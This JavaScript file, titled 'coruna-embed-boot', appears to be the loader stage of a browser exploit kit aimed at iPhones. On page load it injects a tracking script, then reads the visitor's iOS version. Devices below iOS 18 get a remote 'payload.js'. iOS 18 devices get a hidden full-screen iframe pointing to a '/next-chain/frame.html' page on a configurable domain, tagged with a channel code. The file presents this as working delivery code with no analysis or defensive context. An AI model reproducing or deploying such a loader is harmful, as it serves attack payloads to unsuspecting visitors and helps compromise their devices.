/* coruna-embed-boot */
(function () {
  var CHANNEL = '__CHANNEL_CODE__';
  var DS_DOMAIN = '__DS_DOMAIN__';
  var STAT_ORIGIN = '__STAT_ORIGIN__';

  if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
    window.__CORUNA_CHANNEL__ = CHANNEL;
  }
  if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
    window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
  } else {
    window.__CORUNA_STAT_ORIGIN__ = '';
  }

  function scriptDir() {
    try {
      if (document.currentScript && document.currentScript.src) {
        return document.currentScript.src.replace(/\/[^\/]*$/, '/');
      }
    } catch (e0) {}
    try {
      var scripts = document.getElementsByTagName('script');
      for (var i = scripts.length - 1; i >= 0; i--) {
        var src = scripts[i].src || '';
        if (/\/index\.js(?:[?#]|$)/i.test(src)) {
          return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
        }
      }
    } catch (e1) {}
    return '';
  }

  function inject(src) {
    var s = document.createElement('script');
    s.src = src;
    (document.body || document.documentElement || document.head).appendChild(s);
  }

  var dir = scriptDir();
  var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
  inject((statOrigin || location.origin) + '/t.js?' + Date.now());

  function parseIosVersion() {
    var ua = navigator.userAgent || '';
    var m = /iPhone OS ([0-9_]+)/.exec(ua);
    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
    if (!m) {
      m = /Version\/(\d+)\.(\d+)/.exec(ua);
      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
    }
    return m[1].split('_').map(function (p) {
      return parseInt(p, 10);
    });
  }

  var ios = parseIosVersion();
  if (!ios || ios[0] < 18) {
    inject((dir || '') + 'payload.js?' + Date.now());
    return;
  }
  if (ios[0] === 18) {
    var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
    if (!channelCode) {
      try {
        var path = String(location.pathname || '');
        var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
        var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
        if (mWeb && mWeb[1]) channelCode = mWeb[1];
        else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
      } catch (eC) {}
    }
    var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
    if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
    var ifr = document.createElement('iframe');
    ifr.src = dsUrl;
    ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
    (document.body || document.documentElement).appendChild(ifr);
  }
})();